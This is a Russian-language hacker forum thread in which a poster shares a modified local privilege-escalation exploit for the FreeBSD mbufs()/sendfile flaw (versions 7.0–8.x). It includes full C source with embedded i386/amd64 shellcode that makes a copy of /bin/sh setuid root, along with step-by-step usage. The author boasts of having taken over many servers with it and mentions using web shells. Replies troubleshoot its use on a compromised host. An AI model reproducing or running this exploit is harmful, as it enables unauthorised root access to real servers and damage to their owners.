Выкладываю свою модификацию exploit FreeBSD mbufs(). Vuln version 7.0-8.* до 12.07.10 Сразу говорю уязвимость таже самая и эксплуатируется также. Подвержены уязвимости 7-8 до 12 Июля 2010 г. Моя модификация позволяет всего лишь не мучатся в переделывании шелкода. Шелкоды немного изменены но делают тоже самое. Так же бьёт i386 и amd64. Те кто использовал данный эксплойт (а я им уже не мало фрях свалил ) сталкивались с проблемой запрета запуска из /tmp или к примеру права меняются на все файлы, которые там находятся. А следовательно нужно всё время подтачивать шелкод.... Прежде чем использовать мою версию уже как боевую, запустите скомпелированый файл без параметров и выпадет небольшой хелп. Это позволит вам избежать запоротого /bin/sh и недоумения а почему не работает.!! p.s. советую запускать ещё третий терминал и не как sh а кпримеру bash или csh и тд , это позволит обезопасить от выпадания двух терминалов в аут. p.s. p.s У меня так и случилось на одном из серваков. 2 бека закрылись , а через веб шел яувидел как мой sh стал с +s. вот только его уже было никак не запустить. Собсно код снизу. Code: #include <sys/types.h> #include <sys/socket.h> #include <sys/uio.h> #include <fcntl.h> #include <netinet/in.h> #include <sys/select.h> #include <sys/stat.h> #include <strings.h> #include <stdio.h> #include <string.h> #include <err.h> int sc32( char *, unsigned char * ); int sc64( char *, unsigned char * ); unsigned char str32[ 196 ]; main( int argc, char *argv[ ] ) { int s, f, k2, sizeof_str, flags, n, chunk, arch; struct sockaddr_in addr; char buf[ 10000 ], str[ 256 ], *p; struct stat sb; fd_set wset; int64_t size; off_t sbytes, sent = 0; if( argc != 3 ) { printf( "\n\n Modificated exploit FreeBSD mbufs().\n\n Special for Antichat community, by \033[5;30;41mkfor\033[0m & \033[32;1;4mlord Kelvin\033[0m.\n\n\n####### This modification can use any directory provided. ########\n####### Just in case you don't have an rwx /tmp ########\n\nExample & howto:\n(1) You must cp /bin/sh /home/test/sh and cp /bin/sh /home/test/si\n (sh++ -> si) don't change \"si\"!!\n(2) 1st terminal bash# nc -l 7030\n(3) 2nd terminal bash# ./exploit i386|amd64 /home/test/sh\n(4) Waiting 5-10 min. Do ls -al /home/test/sh, if you see -r-sr-sr-x,\n you're lucky:)\n(5) bash# /home/test/sh; id; -- You must see euid(0)\nUsage: ./exploit (i386|amd64) Directory1\n" ); return; } if( strcmp( argv[ 1 ], "i386" ) == 0 ) { sizeof_str = sc32( argv[ 2 ], str ); arch = 1; } else if( strcmp( argv[ 1 ], "amd64" ) == 0 ) { sizeof_str = sc64( argv[ 2 ], str ); arch = 2; } else { printf( "define architecture i386 or amd64\n" ); return; } s = socket( AF_INET, SOCK_STREAM, 0 ); bzero( &addr, sizeof( addr ) ); addr.sin_family = AF_INET; addr.sin_port = htons( 7030 ); addr.sin_addr.s_addr = inet_addr( "127.0.0.1" ); n = connect( s, ( struct sockaddr * )&addr, sizeof( addr ) ); if( n < 0 ) warn( "fail to connect" ); f = open( "/bin/sh", O_RDONLY ); if( f < 0 ) warn( "fail to open file" ); n = fstat( f, &sb ); if( n < 0 ) warn( "fstat failed" ); size = sb.st_size; chunk = 0; flags = fcntl( f, F_GETFL ); flags |= O_NONBLOCK; fcntl( f, F_SETFL, flags ); while( size > 0 ) { FD_ZERO( &wset ); FD_SET( s, &wset ); n = select( f + 1, NULL, &wset, NULL, NULL ); if( n < 0 ) continue; if( chunk > 0 ) { sbytes = 0; if( arch == 1 ) n = sendfile( f, s, 2048 * 2, chunk, NULL, &sbytes, 0 ); else if( arch == 2 ) n = sendfile( f, s, 1204 * 6, chunk, NULL, &sbytes, 0 ); // n = sendfile( f, s, 3128 * arch + 968, chunk, NULL, &sbytes, 0 ); if( n < 0 ) continue; chunk -= sbytes; size -= sbytes; sent += sbytes; continue; } chunk = 2048; memset( buf, '\0', sizeof( buf ) ); if( arch == 1 ) { for( k2 = 0; k2 < 256; k2++ ) buf[ k2 ] = 0x90; } else if( arch == 2 ) { for( k2 = 0; k2 < 100; k2++ ) buf[ k2 ] = 0x90; } // memset( buf, 0x90, 412 - 156 * arch ); memcpy( buf + k2, str, sizeof_str ); n = k2 + sizeof_str; p = buf; write( s, p, n ); } } int sc32( char *s, unsigned char *c ) { int n = strlen( s ), i; char *p = c; switch( n & 3 ) { case 0: case 1: *p++ = 0x6A; *p++ = s[ n & ~3 ]; break; default: *p++ = 0x68; *p++ = s[ n & ~3 ]; *p++ = s[ n & ~3 | 1 ]; *p++ = s[ n & ~3 | 2 ]; *p++ = 0; } for( i = n & ~3; i; i -= 4 ) { *p++ = 0x68; *p++ = s[ i - 4 ]; *p++ = s[ i - 3 ]; *p++ = s[ i - 2 ]; *p++ = s[ i - 1 ]; } p = memcpy( p, "\x89\xE3\x31\xC0\x50\x50\x53\x50\xB0\x10\xCD\x80\x68\xED\x0D\x00\x00\x53\x50\xB0\x0F\xCD\x80\xFE\x43", 25 ) + 25; *p++ = n - 1; p = memcpy( p, "\x50\x54\x53\x50\xB0\x3B\xCD\x80", 8 ) + 8; return ( int )p - ( int )c; } int sc64( char *s, unsigned char *c ) { int n = strlen( s ), i, j; char *p = c; switch( n & 7 ) { case 0: case 1: *p++ = 0x6A; *p++ = s[ n & ~7 ]; break; case 2: case 3: case 4: *p++ = 0x68; *p++ = s[ n & ~7 ]; *p++ = s[ n & ~7 | 1 ]; *p++ = s[ n & ~7 | 2 ]; *p++ = n & 4 ? s[ n & ~7 | 3 ] : 0; break; default: *p++ = 0x48; *p++ = 0xBF; for( i = 0; i < 8; i++ ) *p++ = i < ( n & 7 ) ? s[ n & ~7 | i ] : 0; *p++ = 0x57; } for( i = n & ~7; i; i -= 8 ) { *p++ = 0x48; *p++ = 0xBF; for( j = -8; j; j++ ) *p++ = s[ i + j ]; *p++ = 0x57; } p = memcpy( p, "\x6a\x10\x58\x99\x48\x89\xE7\x48\x31\xF6\x0F\x05\xB0\x0F\x68\xED\x0D\x00\x00\x5E\x0F\x05\xFE\x47", 24 ) + 24; *p++ = n - 1; p = memcpy( p, "\xB0\x38\x52\x48\x89\xE6\x0F\x05", 8 ) + 8; return ( int )p - ( int )c; }
Под что эксплойт под то и тестил Как бы мощный сплойт, но в то же время и опасный. Нельзя бездумно запускать. Забыл сказать и указать в хелпе, что не надо забывать в конце восстанавливать /bin/sh. Для тех кого потеряли по дороге поясняю. bash# cp -f /home/test/si /bin/sh P.S. Ещё раз повторю, дабы не было недопонимания, это не мой новый сплойт или найденная уязвимость, это возможность воспользоваться сплойтом тем кто так или иначе не смог переписать шелкод.
Народ будьте аккуратней при копировании. Я ща заметил, что к примеру, в шелкоде появились лишние пробелы! Если что выкладываю оригинал сюда Скачать файл cachemy.c З.Ы. shell_code возможно это и послужило падению сервака
терминал отлетает 2 (на котором открываем 7030 порт), че делать? ОС у меня 7.0-RELEASE-p11, пробовал FreeBSD local r00t zeroday, но там я смотрел rtld.c пропатчен, что посоветуете? И вот это не понятно как сделать?
основной живой вроде как, который весит на 7030, срабатывает и зависает, sh с правами веб сервера остается
Ну вариант что пропатчено. Так же ты надеюсь не копировал сплойт отсюда, а взял с сылке на dump.ru. Потому что в код форум пробелы добавил...